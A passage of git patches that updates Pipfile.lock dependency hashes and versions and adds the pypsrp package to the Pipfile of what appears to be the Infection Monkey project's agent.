"sha256:cda9e628b1315beec8341e8c04aac9a0b910650b05e0751e42e399d5694aeacb", + "sha256:ceae3ab9e11a27aaab42878f1d203600dfd24f0e43678b47298219a0f10c0d30", + "sha256:ced944dcdd561476deef7cb7bfd4987c69fffbfeff6d02ca4d5d4fd592d559b7", + "sha256:d04ca462cb99077e6c059e97c072957caf2918e6e4191e3161c01c439e0193de", + "sha256:d1131562ddc2ea8a446f66c2648d7dabec2b3816fc818528eb978a75a6d23b2e", + "sha256:d1740776b70367277323fafb76bcf09753a5cc9824f5d705bac22a34ff3668ea", + "sha256:d6e11ffd43184d529d6752d6dcb62b994f903038a17ea2168ef1910c96324d26", + "sha256:d73e10772152605f6648ba4410318594f1043bbfe36d2fadee7c4b8912eff7c5", + "sha256:da8288bc4a7807c6715416deed1c57d94d5e03e93537889e002bf985be503f1a", + "sha256:db93608a246da44d728842b8fa9e45aa9782db76955f634a707739a8d53ff544", + "sha256:dcd3d0009fbb6e454d729f8b22d0063bd9171c31a55e0f0271119bd4f2700023", + "sha256:dd1f49f949a658c4e8f81ed73f9aad25fcc7d4f62f767f591e749e30038c4e1d", + "sha256:dd6ff2192f34bd622883c745a56f492b1c9ccd44e14953e8051c33024a2947d5", + "sha256:e018a4921657c2d3f89c720b7b90b9182e277178a04a7e9542cc79d7d787ca51", + "sha256:e2b7670c0c8c6b501464150dd49dd0d6be6cb7f049e064124911cec5514fa19e", + "sha256:e7a33322e08021c37e89cae8ff06327503e8a1719e97c69f32c31cbf6c30d72c", + "sha256:e8a82e35d52ad6f867e88096a1a2b9bdc7ec4d5e65c7b4976a248bf2d1a32a93", + "sha256:e9faf8d4712d5ea301d74abfcf6dafe4b7f4af7936e91f283b0ad7bf69ed3e3a", + "sha256:ec5ca7c0007ce268048bbe0ffc6846ed1616cf3d8628b136e81d5e64ff3f52a2", + "sha256:eee42a1cc06565f6b21caa1f504ec15e07de7ebfd520ab57f8cb3308bc118e22", + "sha256:f2acf9bbcd514e901f82c4ca6926bbd2ae61716728f110b4343eb0a69612d018", + "sha256:f55c1ddcc1f6050b07d468ce594f55dbf6107b459e16f735d26818d7be1e9538", + "sha256:f6977a520bd96e097c8a37a8cbb9faa1ea99d21bf84190195056e25f688af73d", + "sha256:f94c7d22fb36b184734dded7345a04ec5f95130421c775b8b0c65044ef073f34", + "sha256:fa8957e9a1b202cb45e6b839c241cd986c897be1e722b81d2f32e9c6aeee80b0", + "sha256:fd3854148005c808c485c754a184c71116372263709958b42aefbef2e5dd373a", + "sha256:fe5872ce6f9627deac8314bdffd3862624227c3de4c17ef0cc78bbf0402999eb", + "sha256:ffbae429ba9e42d0582d3ac63fdb410338892468a2107d8ff68228ec9a39a0ed" ], - "version": "==3.11.4" + "version": "==3.12.0" }, "pyreadline": { "hashes": [ @@ -836,18 +897,18 @@ }, "requests": { "hashes": [ - "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", - "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", + "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7" ], "index": "pypi", - "version": "==2.25.1" + "version": "==2.26.0" }, "ring": { "hashes": [ - "sha256:c6b4ea68ab79055fce640e68af4a2e2fddd624a803fac2e4edfa33c8727c9601" + "sha256:f0853e3645a255ecf26291283afd520834ba50d2e0a1d44d930e5bdb944001c4" ], "index": "pypi", - "version": "==0.8.3" + "version": "==0.9.0" }, "rsa": { "hashes": [ @@ -870,54 +931,55 @@ }, "simplejson": { "hashes": [ - "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667", - "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3", - "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043", - "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb", - "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0", - "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d", - "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8", - "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f", - "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf", - "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748", - "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278", - "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4", - "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a", - "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8", - "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d", - "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971", - "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841", - "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f", - "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b", - "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45", - "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9", - "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6", - "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc", - "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956", - "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d", - "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746", - "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a", - "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0", - "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25", - "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625", - "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995", - "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46", - "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f", - "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a", - "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139", - "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f", - "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da", - "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34", - "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b", - "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94", - "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04", - "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b", - "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396", - "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", - "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" + "sha256:0040b8d823801120719390696a2c910e10024eccf63e7851748fba02bb1c2b0f", + "sha256:007d6c4babace6abe4092cddc2f557cb123e19bdc24c3b6e8319bafc210dae43", + "sha256:02db01370c3c60d09184b297b1ac702daece46eb6005e7fae7fab204dad3f8cc", + "sha256:09e20701a2319f5af3923ca6a83bd183803719823481692123423697c6c63f98", + "sha256:0e44d6f3bf93fcc09a9eefb09ccc7035a811157327c13ae8376a5c89c3540078", + "sha256:0f61981554c2bacbe968e70696c65f03c6c1ec2e50d8ecb2af926fcb18a97b7d", + "sha256:1ea0682aced01a5bbe9bb040b68ae3271c10fde3132542550b6e04921ef1c41b", + "sha256:2397a156bdf2f7e78ebaf2fae0c999cc54b271595e2728c0c2ca89c22f54ba7f", + "sha256:2af85e028714c4b6cb2eb6fc03aa91f39ffd654f2eb2f6f8f860e14aeefa6be1", + "sha256:2da83b371e5d0023f343fba038d677b60006e24aeddb2ddd80513ad808d96e04", + "sha256:2f647e5fe9783e7fe49c6c036102da31dc0db396b4ead6ed785033f2beb982df", + "sha256:302959ee24a4cf0ba91609d3c0878e524e4d65550d6c457b903c09a767e86bfe", + "sha256:31a51d317695a1c214f5aa1405d7970c91ec92f205ac4ef6997f7fd8946cc70f", + "sha256:33bbbaab29b4a15f85b48364fa8bd8a651d4a89d4ceebbc4e0c2ba73f2d07238", + "sha256:3a0175f6e0958a602fbff81777a59f7ea5294c3f657f1e467de586bbdfaa4e5d", + "sha256:45b9d8f725ac81f434759ec75d54884745f31f29960570ac02664438a8567663", + "sha256:530ea1e44065a7bb27135ef49ae581882ab217137b66ec0771e3271fcc0a423e", + "sha256:5c572ed94842440192da2ed4bb61015f9e2d295714d0c1925fe565a138f58520", + "sha256:60a956a896dd6bfa64057d13b3f837fecf0b554fc4c5daf399aa28ddd47912ab", + "sha256:651061490eff527eef5e6d81ee81978a0e3215348d27799f36b39c0012e11606", + "sha256:6b84897e40d3938eb089a5601a79248898c6d21777a25dcc6869b1f8614848bf", + "sha256:70e74bf39efc0199413b50885fc622b01fd892c5d8161af7dda7381233358135", + "sha256:77e1beb769f584a52ef6f5ac414bb50adedfe15ab8149d4e9bfaaa98d149d7b5", + "sha256:7b5c5e1004ebc2cf3cf0b9ed2d0b4987e459d2c6d4b4887926b875e72938b7e8", + "sha256:7bff90dff74c5ebac682b50f590e3535f1256ed9be8ff38f19a59c40d7998320", + "sha256:80dd583a1c6a02fd5d735195a7e04b21f3d9ac51205065a0d9e859a23e859942", + "sha256:819a7a369628511e129098d0f99e0a2a6702c0aba395d52ef06332d2463031ab", + "sha256:8a60cb29a9dcbb0dffbf3dd460d45b19e8de9bdb2bb26221a762a1ddf310597f", + "sha256:92d2f0c92174fc91bc36806e14717e70d8f5e63374d4e7c30d31d0bb510b3b33", + "sha256:93a23b0fdeefddb41bd382a59d3cb7b7c4c8b1f14052c821575856e2dc828ccf", + "sha256:9b2f7cfe67bc98b9123984520df014e7e9f4ed93b65ee0472af3e1230e967cb4", + "sha256:9dff1ffa871c2fc31aebf7dfe942dff20858823dc1bbc59e9797c85bf0b1a5e5", + "sha256:9e5f0580b60fda8d2ea930424ef23180599e119bf3b4c7518b0668494bc96e58", + "sha256:a6418959866bd14d49444dd5b9e65914d5cc1438dbdc25cdf968bd927849c36e", + "sha256:c22beb7c6c89343490ac9ad0c1360c4092f97efb2393c007d8a767b7160c8939", + "sha256:c452413cb3c9a39f52156bf21c9020ea7540bab323dafd0db7abeac2c12940f3", + "sha256:c4ce22af9c884803498432cbe2da70ec276ead17150fbaad28264e1342330592", + "sha256:cca54a1ea98b579b25d39154d353c4d4dbb4622217a49cceec79151005943133", + "sha256:d479f2d5cd4e3be25296f151cd912c8712ed8084d1be8ad2f999cba09b8d81df", + "sha256:d7132977504a16c63ced62926fdef5a7d6b92addcf912b44b66a8abf3ddccf81", + "sha256:da2b9425e12835500eab4e4eb304ea832a4c7baad0546f8eb4a1958515793afb", + "sha256:dbe07d4039f55323483cc881cc95e5e2cf589b0daccb69118a048c328e2d7ecd", + "sha256:dc65e10aca9e24e975106ebd442059823ceb80babeaccd968290b5a59086bb08", + "sha256:e2fb03cd1ec443aaecd13d42970243795df39817b93aadfc484ee0013632eb2d", + "sha256:ed967cac20cd84ad811ba5a66021fbb87dd208b5bea94f8871876e1afbd2742a", + "sha256:fdaa9e8576c529bdd714df5a1c08c703e6d3bb34660c51a32197a7ca83acb2df" ], "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==3.17.2" + "version": "==3.17.4" }, "six": { "hashes": [ @@ -935,11 +997,10 @@ }, "stix2": { "hashes": [ - "sha256:15c9cf599f5c43124e76fe71b883e4918f6f4cf65b084c58ec64b6180f45c938", - "sha256:3ab60082e4bffb39f75ea9ddc338b64126ff1cd086e6173d39b860191ac26ff4" + "sha256:b9b2200e5c429a0a49d67c8902638d2f97df2ba4321e15dde067c5cb80c9e8e1" ], "index": "pypi", - "version": "==2.1.0" + "version": "==3.0.0" }, "stix2-patterns": { "hashes": [ @@ -958,11 +1019,11 @@ }, "tqdm": { "hashes": [ - "sha256:5aa445ea0ad8b16d82b15ab342de6b195a722d75fc1ef9934a46bba6feafbc64", - "sha256:8bb94db0d4468fea27d004a0f1d1c02da3cdedc00fe491c0de986b76a04d6b0a" + "sha256:80aead664e6c1672c4ae20dc50e1cdc5e20eeff9b14aa23ecd426375b28be588", + "sha256:a4d6d112e507ef98513ac119ead1159d286deab17dffedd96921412c2d236ff5" ], "index": "pypi", - "version": "==4.61.2" + "version": "==4.62.2" }, "typing-extensions": { "hashes": [ @@ -991,9 +1052,9 @@ }, "wirerope": { "hashes": [ - "sha256:0af78b825c4b0e43c79bb038e8d85c86540f85eddf295da5a7e17142ef6c7ee9" + "sha256:72cd28d5afd639c07fb2cd470492514c710db8b768e4d4528f3e0bdd5b0fbd9c" ], - "version": "==0.4.3" + "version": "==0.4.5" }, "zc.lockfile": { "hashes": [ @@ -1099,6 +1160,14 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==21.2.0" }, + "backports.entry-points-selectable": { + "hashes": [ + "sha256:988468260ec1c196dab6ae1149260e2f5472c9110334e5d51adcb77867361f6a", + "sha256:a6d9a871cde5e15b4c4a53e3d43ba890cc6861ec1332c9c2428c92f977192acc" + ], + "markers": "python_version >= '2.7'", + "version": "==1.1.0" + }, "black": { "hashes": [ "sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea" @@ -1113,13 +1182,13 @@ ], "version": "==2021.5.30" }, - "chardet": { + "charset-normalizer": { "hashes": [ - "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", - "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b", + "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==4.0.0" + "markers": "python_version >= '3'", + "version": "==2.0.4" }, "click": { "hashes": [ @@ -1226,19 +1295,19 @@ }, "idna": { "hashes": [ - "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", - "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a", + "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==2.10" + "markers": "python_version >= '3'", + "version": "==3.2" }, "importlib-metadata": { "hashes": [ - "sha256:079ada16b7fc30dfbb5d13399a5113110dab1aa7c2bc62f66af75f0b717c8cac", - "sha256:9f55f560e116f8643ecf2922d9cd3e1c7e8d52e683178fecd9d08f6aa357e11e" + "sha256:7b30a78db2922d78a6f47fb30683156a14f3c6aa5cc23f77cc8967e9ab2d002f", + "sha256:ed5157fef23a4bc4594615a0dd8eba94b2bb36bf2a343fa3d8bb2fa0a62a99d5" ], "markers": "python_version < '3.8'", - "version": "==4.6.1" + "version": "==4.6.4" }, "iniconfig": { "hashes": [ @@ -1287,10 +1356,18 @@ }, "pathspec": { "hashes": [ - "sha256:86379d6b86d75816baba717e64b1a3a3469deb93bb76d613c9ce79edc5cb68fd", - "sha256:aa0cb481c4041bf52ffa7b0d8fa6cd3e88a2ca4879c533c9153882ee2556790d" + "sha256:7d15c4ddb0b5c802d161efc417ec1a2558ea2653c2e8ad9c19098201dc1c993a", + "sha256:e564499435a2673d586f6b2130bb5b95f04a3ba06f81b8f895b651a3c76aabb1" ], - "version": "==0.8.1" + "version": "==0.9.0" + }, + "platformdirs": { + "hashes": [ + "sha256:4666d822218db6a262bdfdc9c39d21f23b4cfdb08af331a81e92751daf6c866c", + "sha256:632daad3ab546bd8e6af0537d09805cec458dce201bccfe23012df73332e181e" + ], + "markers": "python_version >= '3.6'", + "version": "==2.2.0" }, "pluggy": { "hashes": [ @@ -1350,57 +1427,57 @@ }, "regex": { "hashes": [ - "sha256:0eb2c6e0fcec5e0f1d3bcc1133556563222a2ffd2211945d7b1480c1b1a42a6f", - "sha256:15dddb19823f5147e7517bb12635b3c82e6f2a3a6b696cc3e321522e8b9308ad", - "sha256:173bc44ff95bc1e96398c38f3629d86fa72e539c79900283afa895694229fe6a", - "sha256:1c78780bf46d620ff4fff40728f98b8afd8b8e35c3efd638c7df67be2d5cddbf", - "sha256:2366fe0479ca0e9afa534174faa2beae87847d208d457d200183f28c74eaea59", - "sha256:2bceeb491b38225b1fee4517107b8491ba54fba77cf22a12e996d96a3c55613d", - "sha256:2ddeabc7652024803666ea09f32dd1ed40a0579b6fbb2a213eba590683025895", - "sha256:2fe5e71e11a54e3355fa272137d521a40aace5d937d08b494bed4529964c19c4", - "sha256:319eb2a8d0888fa6f1d9177705f341bc9455a2c8aca130016e52c7fe8d6c37a3", - "sha256:3f5716923d3d0bfb27048242a6e0f14eecdb2e2a7fac47eda1d055288595f222", - "sha256:422dec1e7cbb2efbbe50e3f1de36b82906def93ed48da12d1714cabcd993d7f0", - "sha256:4c9c3155fe74269f61e27617529b7f09552fbb12e44b1189cebbdb24294e6e1c", - "sha256:4f64fc59fd5b10557f6cd0937e1597af022ad9b27d454e182485f1db3008f417", - "sha256:564a4c8a29435d1f2256ba247a0315325ea63335508ad8ed938a4f14c4116a5d", - "sha256:59506c6e8bd9306cd8a41511e32d16d5d1194110b8cfe5a11d102d8b63cf945d", - "sha256:598c0a79b4b851b922f504f9f39a863d83ebdfff787261a5ed061c21e67dd761", - "sha256:59c00bb8dd8775473cbfb967925ad2c3ecc8886b3b2d0c90a8e2707e06c743f0", - "sha256:6110bab7eab6566492618540c70edd4d2a18f40ca1d51d704f1d81c52d245026", - "sha256:6afe6a627888c9a6cfbb603d1d017ce204cebd589d66e0703309b8048c3b0854", - "sha256:791aa1b300e5b6e5d597c37c346fb4d66422178566bbb426dd87eaae475053fb", - "sha256:8394e266005f2d8c6f0bc6780001f7afa3ef81a7a2111fa35058ded6fce79e4d", - "sha256:875c355360d0f8d3d827e462b29ea7682bf52327d500a4f837e934e9e4656068", - "sha256:89e5528803566af4df368df2d6f503c84fbfb8249e6631c7b025fe23e6bd0cde", - "sha256:99d8ab206a5270c1002bfcf25c51bf329ca951e5a169f3b43214fdda1f0b5f0d", - "sha256:9a854b916806c7e3b40e6616ac9e85d3cdb7649d9e6590653deb5b341a736cec", - "sha256:b85ac458354165405c8a84725de7bbd07b00d9f72c31a60ffbf96bb38d3e25fa", - "sha256:bc84fb254a875a9f66616ed4538542fb7965db6356f3df571d783f7c8d256edd", - "sha256:c92831dac113a6e0ab28bc98f33781383fe294df1a2c3dfd1e850114da35fd5b", - "sha256:cbe23b323988a04c3e5b0c387fe3f8f363bf06c0680daf775875d979e376bd26", - "sha256:ccb3d2190476d00414aab36cca453e4596e8f70a206e2aa8db3d495a109153d2", - "sha256:d8bbce0c96462dbceaa7ac4a7dfbbee92745b801b24bce10a98d2f2b1ea9432f", - "sha256:db2b7df831c3187a37f3bb80ec095f249fa276dbe09abd3d35297fc250385694", - "sha256:e586f448df2bbc37dfadccdb7ccd125c62b4348cb90c10840d695592aa1b29e0", - "sha256:e5983c19d0beb6af88cb4d47afb92d96751fb3fa1784d8785b1cdf14c6519407", - "sha256:e6a1e5ca97d411a461041d057348e578dc344ecd2add3555aedba3b408c9f874", - "sha256:eaf58b9e30e0e546cdc3ac06cf9165a1ca5b3de8221e9df679416ca667972035", - "sha256:ed693137a9187052fc46eedfafdcb74e09917166362af4cc4fddc3b31560e93d", - "sha256:edd1a68f79b89b0c57339bce297ad5d5ffcc6ae7e1afdb10f1947706ed066c9c", - "sha256:f080248b3e029d052bf74a897b9d74cfb7643537fbde97fe8225a6467fb559b5", - "sha256:f9392a4555f3e4cb45310a65b403d86b589adc773898c25a39184b1ba4db8985", - "sha256:f98dc35ab9a749276f1a4a38ab3e0e2ba1662ce710f6530f5b0a6656f1c32b58" + "sha256:03840a07a402576b8e3a6261f17eb88abd653ad4e18ec46ef10c9a63f8c99ebd", + "sha256:06ba444bbf7ede3890a912bd4904bb65bf0da8f0d8808b90545481362c978642", + "sha256:1f9974826aeeda32a76648fc677e3125ade379869a84aa964b683984a2dea9f1", + "sha256:330836ad89ff0be756b58758878409f591d4737b6a8cef26a162e2a4961c3321", + "sha256:38600fd58c2996829480de7d034fb2d3a0307110e44dae80b6b4f9b3d2eea529", + "sha256:3a195e26df1fbb40ebee75865f9b64ba692a5824ecb91c078cc665b01f7a9a36", + "sha256:41acdd6d64cd56f857e271009966c2ffcbd07ec9149ca91f71088574eaa4278a", + "sha256:45f97ade892ace20252e5ccecdd7515c7df5feeb42c3d2a8b8c55920c3551c30", + "sha256:4b0c211c55d4aac4309c3209833c803fada3fc21cdf7b74abedda42a0c9dc3ce", + "sha256:5d5209c3ba25864b1a57461526ebde31483db295fc6195fdfc4f8355e10f7376", + "sha256:615fb5a524cffc91ab4490b69e10ae76c1ccbfa3383ea2fad72e54a85c7d47dd", + "sha256:61e734c2bcb3742c3f454dfa930ea60ea08f56fd1a0eb52d8cb189a2f6be9586", + "sha256:640ccca4d0a6fcc6590f005ecd7b16c3d8f5d52174e4854f96b16f34c39d6cb7", + "sha256:6dbd51c3db300ce9d3171f4106da18fe49e7045232630fe3d4c6e37cb2b39ab9", + "sha256:71a904da8c9c02aee581f4452a5a988c3003207cb8033db426f29e5b2c0b7aea", + "sha256:8021dee64899f993f4b5cca323aae65aabc01a546ed44356a0965e29d7893c94", + "sha256:8b8d551f1bd60b3e1c59ff55b9e8d74607a5308f66e2916948cafd13480b44a3", + "sha256:93f9f720081d97acee38a411e861d4ce84cbc8ea5319bc1f8e38c972c47af49f", + "sha256:96f0c79a70642dfdf7e6a018ebcbea7ea5205e27d8e019cad442d2acfc9af267", + "sha256:9966337353e436e6ba652814b0a957a517feb492a98b8f9d3b6ba76d22301dcc", + "sha256:a34ba9e39f8269fd66ab4f7a802794ffea6d6ac500568ec05b327a862c21ce23", + "sha256:a49f85f0a099a5755d0a2cc6fc337e3cb945ad6390ec892332c691ab0a045882", + "sha256:a795829dc522227265d72b25d6ee6f6d41eb2105c15912c230097c8f5bfdbcdc", + "sha256:a89ca4105f8099de349d139d1090bad387fe2b208b717b288699ca26f179acbe", + "sha256:ac95101736239260189f426b1e361dc1b704513963357dc474beb0f39f5b7759", + "sha256:ae87ab669431f611c56e581679db33b9a467f87d7bf197ac384e71e4956b4456", + "sha256:b091dcfee169ad8de21b61eb2c3a75f9f0f859f851f64fdaf9320759a3244239", + "sha256:b511c6009d50d5c0dd0bab85ed25bc8ad6b6f5611de3a63a59786207e82824bb", + "sha256:b79dc2b2e313565416c1e62807c7c25c67a6ff0a0f8d83a318df464555b65948", + "sha256:bca14dfcfd9aae06d7d8d7e105539bd77d39d06caaae57a1ce945670bae744e0", + "sha256:c835c30f3af5c63a80917b72115e1defb83de99c73bc727bddd979a3b449e183", + "sha256:ccd721f1d4fc42b541b633d6e339018a08dd0290dc67269df79552843a06ca92", + "sha256:d6c2b1d78ceceb6741d703508cd0e9197b34f6bf6864dab30f940f8886e04ade", + "sha256:d6ec4ae13760ceda023b2e5ef1f9bc0b21e4b0830458db143794a117fdbdc044", + "sha256:d8b623fc429a38a881ab2d9a56ef30e8ea20c72a891c193f5ebbddc016e083ee", + "sha256:ea9753d64cba6f226947c318a923dadaf1e21cd8db02f71652405263daa1f033", + "sha256:ebbceefbffae118ab954d3cd6bf718f5790db66152f95202ebc231d58ad4e2c2", + "sha256:ecb6e7c45f9cd199c10ec35262b53b2247fb9a408803ed00ee5bb2b54aa626f5", + "sha256:ef9326c64349e2d718373415814e754183057ebc092261387a2c2f732d9172b2", + "sha256:f93a9d8804f4cec9da6c26c8cfae2c777028b4fdd9f49de0302e26e00bb86504", + "sha256:faf08b0341828f6a29b8f7dd94d5cf8cc7c39bfc3e67b78514c54b494b66915a" ], - "version": "==2021.7.6" + "version": "==2021.8.21" }, "requests": { "hashes": [ - "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", - "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", + "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7" ], "index": "pypi", - "version": "==2.25.1" + "version": "==2.26.0" }, "requests-mock": { "hashes": [ @@ -1486,11 +1563,11 @@ }, "virtualenv": { "hashes": [ - "sha256:14fdf849f80dbb29a4eb6caa9875d476ee2a5cf76a5f5415fa2f1606010ab467", - "sha256:2b0126166ea7c9c3661f5b8e06773d28f83322de7a3ff7d06f0aed18c9de6a76" + "sha256:9ef4e8ee4710826e98ff3075c9a4739e2cb1040de6a2a8d35db0055840dc96a0", + "sha256:e4670891b3a03eb071748c569a87cceaefbf643c5bac46d996c5a45c34aa0f06" ], "index": "pypi", - "version": "==20.4.7" + "version": "==20.7.2" }, "vulture": { "hashes": [ From f046e9d7a7adcdd98827f4e7333926035b0361ba Mon Sep 17 00:00:00 2001 From: unknown Date: Tue, 24 Aug 2021 12:09:58 -0700 Subject: [PATCH 055/454] Agent: Add pypsrp to PipFile --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 448 ++++++++++++++++----------- 2 files changed, 273 insertions(+), 176 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 6bf9f2814..75d430e9e 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -29,6 +29,7 @@ simplejson = "*" WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl +pypsrp = "*" [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index eb7c6fb2b..7fa4d4807 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "1c464331fa9697084cb9fac3a2f6cf5fca45fa63c528928318f1031acd0f5eff" + "sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359" }, "pipfile-spec": 6, "requires": { @@ -18,11 +18,11 @@ "default": { "aiowinreg": { "hashes": [ - "sha256:096663ec3db35fdc7ccc1c2d0d64a11cf64f4baa48955088e42b6a649ce418a5", - "sha256:2947556c73975f51fd8154e7242f36a508cd4eaca5f919c06916cb0e331a0733" + "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", + "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" ], "markers": "python_version >= '3.6'", - "version": "==0.0.5" + "version": "==0.0.7" }, "altgraph": { "hashes": [ @@ -48,11 +48,11 @@ }, "asysocks": { "hashes": [ - "sha256:6dc794b3ce4a254472d9c234ddda9341f8b9893dbd4254318be8897b491e66a6", - "sha256:ec4cd200b009731f013475f8e0579e8923d17137bd5051d743822848ac4c53cc" + "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", + "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" ], "markers": "python_version >= '3.6'", - "version": "==0.1.1" + "version": "==0.1.2" }, "bcrypt": { "hashes": [ @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:0ab5afc51461c30f27aebef944211d16f47697b98ff8d2e2f6e49e59584853bb", - "sha256:77ea9ff6ce1d4a64839c358a713be80256584f478289a13562d1e0c1b9c362cc" + "sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11", + "sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.17.97" + "markers": "python_version >= '3.6'", + "version": "==1.18.27" }, "botocore": { "hashes": [ - "sha256:000cf4a3670ab47e14ddb5bd68fe050c6136029a478cf0b18a78779897d4175c", - 